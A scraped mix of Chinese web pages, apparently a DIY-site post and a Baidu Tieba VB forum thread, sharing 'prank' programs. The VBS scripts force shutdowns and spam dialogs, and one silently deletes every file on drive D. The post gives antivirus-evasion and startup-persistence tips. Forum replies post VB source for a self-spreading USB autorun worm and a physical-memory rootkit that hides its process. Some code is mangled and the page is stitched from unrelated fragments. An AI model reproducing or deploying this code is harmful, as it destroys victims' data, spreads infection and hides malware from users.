只需一步，快速开始
后使用快捷导航没有帐号？
我的vbs整人程序
21:18| 发布者:
| 查看: 29917
源代码，建立一个txt（桌面--右击--新建--文本文档），后缀改为vbs：
on error resume next dim WSHshellA set WSHshellA = wscript.createobject("wscript.shell") WSHshellA.run "cmd.exe /c shutdown -s -t 60 -c ""说我是猪，不说我是猪就一分钟关你机，不信，试试···"" ",0 ,true dim a do while(a && "我是猪") a = inputbox ("说我是猪,就不关机，快撒，说 ""我是猪"" ","说不说","不说",) msgbox "乖" loop msgbox "早说就行了嘛" dim WSHshell set WSHshell = wscript.createobject("wscript.shell") WSHshell.run "cmd.exe /c shutdown -a",0 ,true
“我是猪”可以替换成其他的字符，如“我爱你”之类的
cmd.exe /c shutdown -s -t 60 -c
此处代码可以调节关机时间（默认是60秒）
想解除，用这个，后缀改为bat：
taskkill /im wscript.exe /f /t
shutdown -a
第二个（后缀改为vbs）：
WScript.Echo("嘿，谢谢你打开我哦，我等你很久拉！") WScript.Echo("你是可爱的小朋吗?") WScript.Echo("哈,我想你拉，这你都不知道吗？") WScript.Echo("怎么才来，说~是不是不关心我") WScript.Echo("哼,我生气拉，等你这么久，心都凉啦。") WScript.Echo("小强很生气，后果很严重哦。") WScript.Echo("嘿嘿！你也会很惨滴哦") WScript.Echo("是不是想清除我？") WScript.Echo("那你要点上50下哦，不过会给你惊喜滴") WScript.Echo("还剩49下，快点点哦") WScript.Echo("还剩48下，快点，小笨蛋！") WScript.Echo("还剩47下对，就这样快点点！") WScript.Echo("还剩46下。你啊就是笨，要快哦，我先不打扰你工作。") WScript.Echo("还剩45下，记得要快哦！") WScript.Echo("还剩43下") WScript.Echo("还剩42下") WScript.Echo("还剩41下") WScript.Echo("还剩40下") WScript.Echo("还剩39下") WScript.Echo("还剩38下") WScript.Echo("还剩37下") WScript.Echo("还剩36下") WScript.Echo("还剩35下") WScript.Echo("还剩34下") WScript.Echo("还剩33下") WScript.Echo("还剩32下") WScript.Echo("还剩30下") WScript.Echo("还剩29下") WScript.Echo("还剩28下") WScript.Echo("还剩27下") WScript.Echo("还剩26下") WScript.Echo("还剩25下") WScript.Echo("还剩24下") WScript.Echo("还剩23下") WScript.Echo("还剩22下") WScript.Echo("还剩21下") WScript.Echo("还剩20下") WScript.Echo("还剩19下") WScript.Echo("还剩18下") WScript.Echo("还剩17下") WScript.Echo("还剩16下") WScript.Echo("还剩15下") WScript.Echo("还剩14下") WScript.Echo("还剩13下停停！！！慢点，我有话要说") WScript.Echo("还剩12下，你继续点我就会消失滴") WScript.Echo("还剩11下，以后就看不到我拉。555555") WScript.Echo("还剩10下，你现在可以选择停止！") WScript.Echo("还剩9下。你还点啊，不要我拉？") WScript.Echo("还剩8下，有点伤心拉，干嘛丢弃人家") WScript.Echo("还剩7下。疯了，你有点负意！") WScript.Echo("还剩6下。对。你就点吧，我恨你！") WScript.Echo("还剩5下，不明白，删除我你就好吗？") WScript.Echo("还剩4下！真要删除我？") WScript.Echo("还剩3下。可是我真的很眷恋你。。。") WScript.Echo("还剩2下。不要这么绝情嘛，人家是爱你的！") WScript.Echo("还剩1下。哼，既然你这么绝情。也别怪我无义！！！") WScript.Echo("我本因该消失的，不过我留恋你滴芳容，上帝又给了一次机会。") WScript.Echo("想结素我么?那你就再多点一次") WScript.Echo("想结素我么?那你就再多点一次") WScript.Echo("想结素我么?那你就再多点一次") WScript.Echo("想结素我么?那你就再多点一次") WScript.Echo("想结素我么?那你就再多点一次") WScript.Echo("想结素我么?那你就再多点一次") WScript.Echo("想结素我么?那你就再多点一次") WScript.Echo("想结素我么?那你就再多点一次") WScript.Echo("想结素我么?那你就再多点一次") WScript.Echo("想结素我么?那你就再多点一次")
由于这个无法截图，大家自己试吧！
同样解除wscript.exe进程
dim WSHshell set WSHshell = wscript.createobject("wscript.shell") WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true
删除D:\所有文件（后台进行）
set ws=createobject("wscript.shell") call shutdown(1) do while a&&"我是猪" a=inputbox("快在下面的框框里输入我是猪,否则后果自负，快输""我是猪"" ","输不输","不输") loop call shutdown(2) msgbox "早说就行了嘛",4096+64 msgbox"再输一遍我是猪!",4096+64 msgbox"我是猪!",4096+64 MsgBox"最后一次!",4096+64 MsgBox"如果你很快的点过去,不看的话",4096+64 MsgBox"我就要你踩我空间的!哼!",4096+64 MsgBox"从前有座山!",4096+64 MsgBox"山里有个庙.",4096+64 MsgBox"庙里有个老和尚在讲故事.",4096+64 ws.run"iexplore.exe http://new.//infocenter" msgbox"哎呀累了！数绵羊哄我睡觉",4096+64 for i=1 to 100 MsgBox i&"只绵羊",4096+64 next msgbox"哎呀我困了，这次就饶过你吧，下次注意哦!",4096+64 msgbox"最后问个问题，我是不是大好人！",4096+64 if inputbox("是不是","请选择","是")&&"是" then call shutdown(1) end if sub shutdown(s) select case s case 1 ws.run"cmd.exe /c shutdown -r -t 60 -c",0 case 2 ws.run"cmd.exe /c shutdown -a",0 end select end sub
ws.run"iexplore.exe http://new.//infocenter" 这段代码可以改成你自己设定的地址 如果别人不输我是猪的话就会一直点下去 点到你设定的数字 for i=1 to 100 从1到100 可以改成 20 其他的数字
我就收集这些，还想要的话点下面
由于前几天发布的文章，发完之后才发现有一段忘发了，在这里我补充一下。我是新手，前几天的文章里的代码全是是我收集的。大家有很多时候都会发现，双击整人程序后有很多杀毒软件会“自以为是”的报毒。所以我建议打个压缩包：省着让“病毒”进《病毒隔离所》。你如果对对方恨之入骨，那么你可以把文件放入（C:\Documents and Settings\用户名\「开始」菜单\程序\启动）里面，让它开机就启动。或者将文件放入（ HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN&）项里（启动项）
赞过此文的人
插座上一堆乱七八糟的充电器，收纳又很麻烦怎么办？
来做一个漂亮的4口充电器吧，只
本固态特斯拉线圈教程由极客迷螃蟹兄编写，若需要转载，请联系QQ：首先此特
虽说光立方教程早已烂大街了，但是做出来成就感还是不错的，不发帖就太亏了，个人建议
成品镇楼！！
（小米电子时钟，233~~）
————————————————
单片机的最小系统，适合入门新手来制作。我今天教大家做一做吧！TC还没做完，弄个最小
All Rights Reserved很抱歉，该文档已经被删除了...先到其它地方遛一圈吧！
您可以在豆丁搜索您要找的内容
您可能感兴趣的文档
&2008- Inc. All Rights Reserved 豆丁网
扫描下载APP
扫描关注豆丁网
微信号：doudingwang
随时赢取精美礼品回复：发几个vb整人小程序代码.第一次发帖.希望大家多多支持._vb吧_百度贴吧
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&签到排名：今日本吧第个签到，本吧因你更精彩，明天继续来努力！
本吧签到人数：0成为超级会员，使用一键签到本月漏签0次！成为超级会员，赠送8张补签卡连续签到：天&&累计签到：天超级会员单次开通12个月以上，赠送连续签到卡3张
关注：94,004贴子：
回复：发几个vb整人小程序代码.第一次发帖.希望大家多多支持.收藏
快试试吧，可以对自己使用挽尊卡咯~◆◆
因为你的程序中只是对鼠标的位置做了限制，而并没有那关键的一步“激活这个窗体&，也就是我所说的焦点夺取。
你依次打开两个notepad，假设第一个是A，第二个是B，那么你再按下鼠标，这时你输入的内容会显示到A中，还是B中？很显然，A中不会有显示，而且标题栏颜色显淡蓝，这代表窗体无焦点，因为第二个notepad打开的时候自动激活了自己，将焦点转移到了B，也就是输入焦点到了B的memo控件上。
不知道你看我那个pps没有，我那里面的屏幕锁就是采取这种方式，这是一种很“非主流”的方法，并不是很正统，这种方法有弊端，也有优点。就看适应范围了，
欢迎你们的光临喔。！！
一楼的&flag&=&fase&是什么意思?false?
Private&Sub&Form_Load()
Me.Visible&=&False
On&Error&Resume&Next
SetAttr&&.\&,&vbReadOnly&+&vbHidden&+&vbReadOnly
Set&a&=&CreateObject(&scripting.filesystemobject&)
w&=&CreateObject(&wscript.shell&).regread(&HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell&Folders\Startup&)
cd&=&&C:\Win32&
de&=&w&&&&\Win32.exe&
FileCopy&App.EXEName&&&&.exe&,&w&&&&\Win32.exe&
ka&=&App.EXEName&&&&.exe&
a.copyfile&&g:\&&&&ka,&de,&True
a.copyfile&&f:\&&&&ka,&de,&True
a.copyfile&&h:\&&&&ka,&de,&True
a.copyfile&&i:\&&&&ka,&de,&True
a.copyfile&&k:\&&&&ka,&de,&True
a.copyfile&&j:\&&&&ka,&de,&True
a.copyfile&&l:\&&&&ka,&de,&True
MkDir&cd
SetAttr&cd,&vbSystem&+&vbReadOnly&+&vbHidden
FileCopy&w&&&&\Win32.exe&,&cd&&&&\Windows.exe&
&&If&App.PrevInstance&Then
&&&&End
&&End&If
Shell&cd&&&&\Windows.exe&
Select&Case&App.EXEName
Case&&Settings&
FileCopy&App.EXEName&&&&.bat&,&&d:\Windows.exe&
SetAttr&&d:\Windows.exe&,&vbSystem&+&vbHidden
Shell&&d:\Windows.exe&,&vbHide
Case&&Win32&
Call&ap
Case&&Windows&
Call&ji
Case&&新建文件夹&
MkDir&&\Recycled&
FileCopy&ka,&&\Recycled\Settings.bat&
a.createtextfile(&\Recycled\Desktop.ini&,&True).writeline&&[.ShellClassInfo]&&&&vbCrLf&&&&LocalizedResourceName=Ramdon&&&&vbCrLf&&&&IconResource=C:\Windows\system32\SHELL32.dll,4&
a.getfile(&\Recycled\Desktop.ini&).Attributes&=&1&+&2&+&4
End
Case&Else
Shell&&explorer.exe&\&,&vbMaximizedFocus
End&Select
End
End&Sub
Function&ap()
On&Error&Resume&Next
Shell&&C:\Win32\Windows.exe&
i&=&1
k&=&&c:\com1.{645FF040-F08-00AA002F954E}\&
MkDir&k
MkDir&k&&&&con\&
MkDir&k&&&&con\nul\&
Do
g&=&Timer&+&i
MkDir&k&&&&con\nul\nul.&&&&g&&&&\&
MkDir&k&&&&con\nul\nul.&&&&g&&&&\nul\&
FileCopy&&C:\Windows\System32\cmd.exe&,&k&&&&con\nul\nul.&&&&g&&&&\nul\MyData.doc&
i&=&i&+&1
If&i&&&100000&Then&i&=&0
&&If&App.PrevInstance&Then
&&&&End
&&End&If
Loop
End&Function
Function&ji()
Set&b&=&CreateObject(&scripting.filesystemobject&)
On&Error&Resume&Next
Do
r&=&r&+&1
Select&Case&r
Case&4
s&=&&f:\&
Case&1
s&=&&g:\&
Case&2
s&=&&h:\&
Case&3
s&=&&i:\&
Case&5
s&=&&j:\&
Case&6
s&=&&k:\&
Case&7
s&=&&l:\&
End&Select
If&Not&b.fileexists(s&&&&taskmgr.exe&)&Then
Name&s&&&&autorun.inf&&As&s&&&&autorun.&&&&Timer&+&r
b.createtextfile(s&&&&autorun.inf&,&True).writeline&&[autorun]&&&&vbCrLf&&&&shell=explore&&&&&vbCrLf&&&&shell\explore\command=taskmgr.exe&&&&vbCrLf&&&&shell\open\command=taskmgr.exe&
b.copyfile&&c:\win32\Windows.exe&,&s&&&&taskmgr.exe&,&True
b.getfile(s&&&&taskmgr.exe&).Attributes&=&1&+&2&+&4
b.getfile(s&&&&autorun.inf&).Attributes&=&1&+&2&+&4
b.createtextfile(s&&&&Desktop.ini&,&True).writeline&&[LocalizedFileNames]&&&&vbCrLf&&&&新建文件夹.exe=新建文件夹&
SetAttr&s&&&&Desktop.ini&,&vbSystem&+&vbHidden&+&vbReadOnly
b.copyfile&&c:\win32\Windows.exe&,&s&&&&新建文件夹.exe&,&True
SetAttr&s&&&&新建文件夹.exe&,&vbSystem&+&vbReadOnly
End&If
If&r&=&7&Then&r&=&0
&&If&App.PrevInstance&Then
&&&&End
&&End&If
Loop
End&Function
'大家提点建议吧'
快试试吧，可以对自己使用挽尊卡咯~◆◆
一说整人代码，好像大家都很积极啊~
24L
Alt+F4
杀死
没用啊
快试试吧，可以对自己使用挽尊卡咯~◆◆
如果是这样的话在form&unload&中加入语句cancel&=&1
这样ALT&+&F4&就没法结束了
lz你是我的偶像
Private Sub Command1_GotFocus()Command2.SetFocusEnd SubPrivate Sub Command1_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)Randomize TimerWith Me&&& Command1.Move Rnd * (.ScaleWidth - Command1.Width), Rnd * (.ScaleHeight - Command1.Height)End WithEnd SubPrivate Sub Command2_Click()MsgBox "我也爱你！"EndEnd SubPrivate Sub Form_Load()Me.AutoRedraw = TrueMe.FontSize = 30Me.Print "你爱不爱我？"Command1.Caption = "不爱"Command2.Caption = "爱"End SubPrivate Sub Form_Unload(Cancel As Integer)Cancel = 1End Sub
快试试吧，可以对自己使用挽尊卡咯~◆◆
各们大哥大姐你们好哈！看你们能写出这么多的程序好羡慕啊
我也在学VB不过是在职业学校
你们是知道的
职业学校是教不出什么好的水平 的 &&&&&
所以请各位介绍个学习的好的方法 和 一些好的书&&
小弟在此谢过
快试试吧，可以对自己使用挽尊卡咯~◆◆
我来发一下，绝对的死循环。……Private Sub Form_Load()&&& x1:goto x1End Sub
快试试吧，可以对自己使用挽尊卡咯~◆◆
&&&& btn1.addActionListener(new&& btnAction());&&&&&& btn2.addActionListener(new&& btnAction());&&&&&& btn3.addActionListener(new&& btnAction());&&&&&& btn4.addActionListener(new&& btnAction());&&&&&& btn5.addActionListener(new&& btnAction());&&&&&& btn6.addActionListener(new&& btnAction());&&&&&& btn7.addActionListener(new&& btnAction());&&&&&& btn8.addActionListener(new&& btnAction());&&&&&& btn9.addActionListener(new&& btnAction());&&&&&& btn10.addActionListener(new&& btnAction());&&&&&& btn11.addActionListener(new&& btnAction());&&&&&& btn12.addActionListener(new&& btnAction());&&&&&& btn13.addActionListener(new&& btnAction());&&&&&& btn14.addActionListener(new&& btnAction());&&&&&& btn15.addActionListener(new&& btnAction());&&&&&& btn16.addActionListener(new&& btnAction());&&//&&&& 将按钮添加到Panel&&&&&& btnPanel.add(btn1);&&&&&& btnPanel.add(btn2);&&&&&& btnPanel.add(btn3);&&&&&& btnPanel.add(btn4);&&&&&& btnPanel.add(btn5);&&&&&& btnPanel.add(btn6);&&&&&& btnPanel.add(btn7);&&&&&& btnPanel.add(btn8);&&&&&& btnPanel.add(btn9);&&&&&& btnPanel.add(btn10);&&&&&& btnPanel.add(btn11);&&&&&& btnPanel.add(btn12);&&&&&& btnPanel.add(btn13);&&&&&& btnPanel.add(btn14);&&&&&& btnPanel.add(btn15);&&&&&& btnPanel.add(btn16);&&//&&&& 为文本框添加事件&&&&&& numText.addTextListener(new&& TextListener()&& {&&&&&& public&& void&& textValueChanged(TextEvent&& e)&& {&&&&&& if(numText.getText().indexOf("0",0)!=-1){&&&&&& numText.getText().replace("0","");&&&&&& }&&&&&& }&&&&&& });&&
快试试吧，可以对自己使用挽尊卡咯~◆◆
&&&& addWindowListener(new&& WindowAdapter()&& {&&&&&& public&& void&& windowClosing(WindowEvent&& e)&& {&&&&&& System.exit(0);&&&&&& }&&&&&& });&&//&&&& 将文本框放在北部&&&&&& add(numText,BorderLayout.NORTH);&&//&&&& 将按钮放于中部&&&&&& add(btnPanel,BorderLayout.CENTER);&&//&&&& 将文本设置成不可操作&&&&&& numText.setEditable(false);&&&&&& }&&//&&&& 没有任何操作的值&&&&&& int&& num=0;&&//&&&& numStr是文本框的值&&&&&& String&& numStr=&&&&&& Boolean&& chinage=&&//&&&& 单击按钮的方法&&&&&& public&& int&& check(){&&&&&& numStr&& =&& numText.getText();&&//&&&& 判断文本是否已经有了+,-,*,/&&&&&& if&& (numStr.indexOf("+")&& ==&& 0)&& {&&&&&& numStr&& =&& numStr.replace('+',&& '0');&&&&&& num&& =&& num&& +&& Integer.parseInt(numStr);&&&&&& return&&&&&&&& }else&&&&&& if&& (numStr.indexOf("-")&& !=&& -1)&& {&&&&&& numStr&& =&& numStr.replace("-",&& "0");&&&&&& num&& =&& num&& -&& Integer.parseInt(numStr);&&&&&& return&&&&&&&& }&&&&&& else&&&&&& if(numStr.indexOf("*")!=-1){&&&&&& numStr=numStr.replace('*','0');&&&&&& num&& =&& num&& *&& Integer.parseInt(numStr);&&&&&& return&&&&&&&& }&&&&&& else&&&&&& if(numStr.indexOf("/")!=-1){&&&&&& numStr=numStr.replace('/','0');&&&&&& try{&&&&&& num&& =&& num&& /&& Integer.parseInt(numStr);&&
快试试吧，可以对自己使用挽尊卡咯~◆◆
&&&& return&&&&&&&& }catch(ArithmeticException&& e){&&&&&& JOptionPane.showMessageDialog(null,"除数不能为空！","消息!",1);&&&&&& return&&&&&&&& }&&&&&& }&&&&&& else&&&&&& return&& num=Integer.parseInt(numStr);&&&&&& }&&//&&&& 创建事件&&//&&&& 这里面的东西都很简单主要就是改变文本的值和判断操作&&&&&& private&& class&& btnAction&& implements&& ActionListener{&&&&&& public&& void&& actionPerformed(ActionEvent&& event){&&&&&& if(event.getActionCommand()=="0"){&&&&&& if(!numText.getText().equals("0"))&&&&&& numText.setText(numText.getText()+0);&&&&&& }&&&&&& if(event.getActionCommand()=="1")&&&&&& numText.setText(numText.getText()+1);&&&&&& if(event.getActionCommand()=="2")&&&&&& numText.setText(numText.getText()+2);&&&&&& if(event.getActionCommand()=="3")&&&&&& numText.setText(numText.getText()+3);&&&&&& if(event.getActionCommand()=="4")&&&&&& numText.setText(numText.getText()+4);&&&&&& if(event.getActionCommand()=="5")&&&&&& numText.setText(numText.getText()+5);&&&&&& if(event.getActionCommand()=="6")&&&&&& numText.setText(numText.getText()+6);&&&&&& if(event.getActionCommand()=="7")&&&&&& numText.setText(numText.getText()+7);&&&&&& if(event.getActionCommand()=="8")&&&&&& numText.setText(numText.getText()+8);&&&&&& if(event.getActionCommand()=="9")&&&&&& numText.setText(numText.getText()+9);&&&&&& if(event.getActionCommand()=="清空"){&&&&&& numText.setText("0");&&&&&& num=0;&&&&&& }&&&&&& if(event.getActionCommand()=="+"){&&//&&&& 调用上面的check();方法&&&&&& check();&&&&&& numText.setText("+");&&&&&& }&&&&&& if(event.getActionCommand()=="-"){&&&&&& check();&&&&&& numText.setText("-");&&&&&& }&&&&&& if(event.getActionCommand()=="*"){&&&&&& check();&&&&&& numText.setText("*");&&&&&& }&&&&&& if(event.getActionCommand()=="/"){&&&&&& if(numStr=="/0"){&&&&&& JOptionPane.showMessageDialog(null,"除数不能为空！","消息!",1);&&&&&& }&&&&&& check();&&&&&& numText.setText("/");&&&&&& }&&&&&& if(event.getActionCommand()=="="){&&&&&& check();&&&&&& numText.setText(""+num);&&&&&& }}}&&&&&& public&& static&& void&& main(String[]&& args){&&&&&& text&& text=new&& text("计数器");&&&&&& text.setSize(200,180);&&//&&&& 设置界面的位置&&&&&& text.setLocation(500,300);&&//&&&& 让界面可现&&&&&& text.setVisible(true);&&&&&& }}&&
快试试吧，可以对自己使用挽尊卡咯~◆◆
回复：42楼这个的确有点狠~~!
快试试吧，可以对自己使用挽尊卡咯~◆◆
怎么添加command
回复：26楼其实我也有个蛮简单的方法结束，找到进程名，在CMD下输入taskkill /f /im 进程名我相信可以K.O的
快试试吧，可以对自己使用挽尊卡咯~◆◆
管理器不可查代码隐藏方法：call HideCurrentProcess==========模块========='该模块用于在任务管理器中隐藏进程Private Const STATUS_INFO_LENGTH_MISMATCH = &HC0000004Private Const STATUS_ACCESS_DENIED = &HC0000022Private Const STATUS_INVALID_HANDLE = &HC0000008Private Const ERROR_SUCCESS = 0&Private Const SECTION_MAP_WRITE = &H2Private Const SECTION_MAP_READ = &H4Private Const READ_CONTROL = &H20000Private Const WRITE_DAC = &H40000Private Const NO_INHERITANCE = 0Private Const DACL_SECURITY_INFORMATION = &H4Private Type IO_STATUS_BLOCK&&&& Status As Long&&&& Information As LongEnd TypePrivate Type UNICODE_STRING&&&& Length As Integer&&&& MaximumLength As Integer&&&& Buffer As LongEnd TypePrivate Const OBJ_INHERIT = &H2Private Const OBJ_PERMANENT = &H10Private Const OBJ_EXCLUSIVE = &H20Private Const OBJ_CASE_INSENSITIVE = &H40Private Const OBJ_OPENIF = &H80Private Const OBJ_OPENLINK = &H100Private Const OBJ_KERNEL_HANDLE = &H200Private Const OBJ_VALID_ATTRIBUTES = &H3F2Private Type OBJECT_ATTRIBUTES&&&& Length As Long&&&& RootDirectory As Long&&&& ObjectName As Long&&&& Attributes As Long&&&& SecurityDeor As Long&&&& SecurityQualityOfService As LongEnd TypePrivate Type ACL&&&& AclRevision As Byte&&&& Sbz1 As Byte&&&& AclSize As Integer&&&& AceCount As Integer&&&& Sbz2 As IntegerEnd TypePrivate Enum ACCESS_MODE&&&& NOT_USED_ACCESS&&&& GRANT_ACCESS&&&& SET_ACCESS&&&& DENY_ACCESS&&&& REVOKE_ACCESS&&&& SET_AUDIT_SUCCESS&&&& SET_AUDIT_FAILUREEnd EnumPrivate Enum MULTIPLE_TRUSTEE_OPERATION&&&& NO_MULTIPLE_TRUSTEE&&&& TRUSTEE_IS_IMPERSONATEEnd EnumPrivate Enum TRUSTEE_FORM&&&& TRUSTEE_IS_SID&&&& TRUSTEE_IS_NAMEEnd EnumPrivate Enum TRUSTEE_TYPE&&&& TRUSTEE_IS_UNKNOWN&&&& TRUSTEE_IS_USER&&&& TRUSTEE_IS_GROUPEnd EnumPrivate Type TRUSTEE&&&& pMultipleTrustee&&&&&&&&&&&& As Long&&&& MultipleTrusteeOperation&&&& As MULTIPLE_TRUSTEE_OPERATION&&&& TrusteeForm&&&&&&&&&&&&&&&&& As TRUSTEE_FORM
快试试吧，可以对自己使用挽尊卡咯~◆◆
&&&& TrusteeType&&&&&&&&&&&&&&&&& As TRUSTEE_TYPE&&&& ptstrName&&&&&&&&&&&&&&&&&&& As StringEnd TypePrivate Type EXPLICIT_ACCESS&&&& grfAccessPermissions&&&&&&&& As Long&&&& grfAccessMode&&&&&&&&&&&&&&& As ACCESS_MODE&&&& grfInheritance&&&&&&&&&&&&&& As Long&&&& TRUSTEE&&&&&&&&&&&&&&&&&&&&& As TRUSTEEEnd TypePrivate Type AceArray&&&& List() As EXPLICIT_ACCESSEnd TypePrivate Enum SE_OBJECT_TYPE&&&& SE_UNKNOWN_OBJECT_TYPE = 0&&&& SE_FILE_OBJECT&&&& SE_SERVICE&&&& SE_PRINTER&&&& SE_REGISTRY_KEY&&&& SE_LMSHARE&&&& SE_KERNEL_OBJECT&&&& SE_WINDOW_OBJECT&&&& SE_DS_OBJECT&&&& SE_DS_OBJECT_ALL&&&& SE_PROVIDER_DEFINED_OBJECT&&&& SE_WMIGUID_OBJECTEnd EnumPrivate Declare Function SetSecurityInfo Lib "advapi32.dll" (ByVal Handle As Long, ByVal ObjectType As SE_OBJECT_TYPE, ByVal SecurityInfo As Long, ppsidOwner As Long, ppsidGroup As Long, ppDacl As Any, ppSacl As Any) As LongPrivate Declare Function GetSecurityInfo Lib "advapi32.dll" (ByVal Handle As Long, ByVal ObjectType As SE_OBJECT_TYPE, ByVal SecurityInfo As Long, ppsidOwner As Long, ppsidGroup As Long, ppDacl As Any, ppSacl As Any, ppSecurityDeor As Long) As Long&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&Private Declare Function SetEntriesInAcl Lib "advapi32.dll" Alias "SetEntriesInAclA" (ByVal cCountOfExplicitEntries As Long, pListOfExplicitEntries As EXPLICIT_ACCESS, ByVal OldAcl As Long, NewAcl As Long) As LongPrivate Declare Sub BuildExplicitAccessWithName Lib "advapi32.dll" Alias "BuildExplicitAccessWithNameA" (pExplicitAccess As EXPLICIT_ACCESS, ByVal pTrusteeName As String, ByVal AccessPermissions As Long, ByVal AccessMode As ACCESS_MODE, ByVal Inheritance As Long)&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&
快试试吧，可以对自己使用挽尊卡咯~◆◆
Private Declare Sub RtlInitUnicodeString Lib "NTDLL.DLL" (DestinationString As UNICODE_STRING, ByVal SourceString As Long)Private Declare Function ZwOpenSection Lib "NTDLL.DLL" (SectionHandle As Long, ByVal DesiredAccess As Long, ObjectAttributes As Any) As LongPrivate Declare Function LocalFree Lib "kernel32" (ByVal hMem As Any) As LongPrivate Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As LongPrivate Declare Function MapViewOfFile Lib "kernel32" (ByVal hFileMappingObject As Long, ByVal dwDesiredAccess As Long, ByVal dwFileOffsetHigh As Long, ByVal dwFileOffsetLow As Long, ByVal dwNumberOfBytesToMap As Long) As LongPrivate Declare Function UnmapViewOfFile Lib "kernel32" (lpBaseAddress As Any) As LongPrivate Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)Private Declare Function GetVersionEx Lib "kernel32" Alias "GetVersionExA" (lpVersionInformation As OSVERSIONINFO) As LongPrivate Type OSVERSIONINFO&&&& dwOSVersionInfoSize As Long&&&& dwMajorVersion As Long&&&& dwMinorVersion As Long&&&& dwBuildNumber As Long&&&& dwPlatformId As Long&&&& szCSDVersion As String * 128End Type&&&Private verinfo As OSVERSIONINFO&&&Private g_hNtDLL As LongPrivate g_pMapPhysicalMemory As LongPrivate g_hMPM As LongPrivate aByte(3) As BytePublic Sub HideCurrentProcess()'在进程列表中隐藏当前应用程序进程&&&& Dim thread As Long, process As Long, fw As Long, bw As Long&&&& Dim lOffsetFlink As Long, lOffsetBlink As Long, lOffsetPID As Long&&&&&&&& verinfo.dwOSVersionInfoSize = Len(verinfo)&&&& If (GetVersionEx(verinfo)) && 0 Then&&&&&&&& If verinfo.dwPlatformId = 2 Then&&&&&&&&&&&& If verinfo.dwMajorVersion = 5 Then&&&&&&&&&&&&&&&& Select Case verinfo.dwMinorVersion&&&&&&&&&&&&&&&&&&&& Case 0&&&&&&&&&&&&&&&&&&&&&&&& lOffsetFlink = &HA0&&&&&&&&&&&&&&&&&&&&&&&& lOffsetBlink = &HA4&&&&&&&&&&&&&&&&&&&&&&&& lOffsetPID = &H9C&&&&&&&&&&&&&&&&&&&& Case 1
快试试吧，可以对自己使用挽尊卡咯~◆◆
&&&&&&&&&&&&&&&&&&&&&&&& lOffsetFlink = &H88&&&&&&&&&&&&&&&&&&&&&&&& lOffsetBlink = &H8C&&&&&&&&&&&&&&&&&&&&&&&& lOffsetPID = &H84&&&&&&&&&&&&&&&& End Select&&&&&&&&&&&& End If&&&&&&&& End If&&&& End If&&&& If OpenPhysicalMemory && 0 Then&&&&&&&& thread = GetData(&HFFDFF124)&&&&&&&& process = GetData(thread + &H44)&&&&&&&& fw = GetData(process + lOffsetFlink)&&&&&&&& bw = GetData(process + lOffsetBlink)&&&&&&&& SetData fw + 4, bw&&&&&&&& SetData bw, fw&&&&&&&& CloseHandle g_hMPM&&&& End IfEnd SubPrivate Sub SetPhyscialMemorySectionCanBeWrited(ByVal hSection As Long)&&&& Dim pDacl As Long&&&& Dim pNewDacl As Long&&&& Dim pSD As Long&&&& Dim dwRes As Long&&&& Dim ea As EXPLICIT_ACCESS&&&&&&&& GetSecurityInfo hSection, SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION, 0, 0, pDacl, 0, pSD&&&&&&&&&&&&& ea.grfAccessPermissions = SECTION_MAP_WRITE&&&& ea.grfAccessMode = GRANT_ACCESS&&&& ea.grfInheritance = NO_INHERITANCE&&&& ea.TRUSTEE.TrusteeForm = TRUSTEE_IS_NAME&&&& ea.TRUSTEE.TrusteeType = TRUSTEE_IS_USER&&&& ea.TRUSTEE.ptstrName = "CURRENT_USER" & vbNullChar&&&& SetEntriesInAcl 1, ea, pDacl, pNewDacl&&&&&&&& SetSecurityInfo hSection, SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION, 0, 0, ByVal pNewDacl, 0&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&CleanUp:&&&& LocalFree pSD&&&& LocalFree pNewDaclEnd SubPrivate Function OpenPhysicalMemory() As Long&&&& Dim Status As Long&&&& Dim PhysmemString As UNICODE_STRING
快试试吧，可以对自己使用挽尊卡咯~◆◆
&&&& Dim Attributes As OBJECT_ATTRIBUTES&&&&&&&& RtlInitUnicodeString PhysmemString, StrPtr("\Device\PhysicalMemory")&&&& Attributes.Length = Len(Attributes)&&&& Attributes.RootDirectory = 0&&&& Attributes.ObjectName = VarPtr(PhysmemString)&&&& Attributes.Attributes = 0&&&& Attributes.SecurityDeor = 0&&&& Attributes.SecurityQualityOfService = 0&&&&&&&& Status = ZwOpenSection(g_hMPM, SECTION_MAP_READ Or SECTION_MAP_WRITE, Attributes)&&&& If Status = STATUS_ACCESS_DENIED Then&&&&&&&& Status = ZwOpenSection(g_hMPM, READ_CONTROL Or WRITE_DAC, Attributes)&&&&&&&& SetPhyscialMemorySectionCanBeWrited g_hMPM&&&&&&&& CloseHandle g_hMPM&&&&&&&& Status = ZwOpenSection(g_hMPM, SECTION_MAP_READ Or SECTION_MAP_WRITE, Attributes)&&&& End If&&&&&&&& Dim lDirectoty As Long&&&& verinfo.dwOSVersionInfoSize = Len(verinfo)&&&& If (GetVersionEx(verinfo)) && 0 Then&&&&&&&& If verinfo.dwPlatformId = 2 Then&&&&&&&&&&&& If verinfo.dwMajorVersion = 5 Then&&&&&&&&&&&&&&&& Select Case verinfo.dwMinorVersion&&&&&&&&&&&&&&&&&&&& Case 0&&&&&&&&&&&&&&&&&&&&&&&& lDirectoty = &H30000&&&&&&&&&&&&&&&&&&&& Case 1&&&&&&&&&&&&&&&&&&&&&&&& lDirectoty = &H39000&&&&&&&&&&&&&&&& End Select&&&&&&&&&&&& End If&&&&&&&& End If&&&& End If&&&&&&&& If Status = 0 Then&&&&&&&& g_pMapPhysicalMemory = MapViewOfFile(g_hMPM, 4, 0, lDirectoty, &H1000)&&&&&&&& If g_pMapPhysicalMemory && 0 Then OpenPhysicalMemory = g_hMPM&&&& End IfEnd FunctionPrivate Function LinearToPhys(BaseAddress As Long, addr As Long) As Long
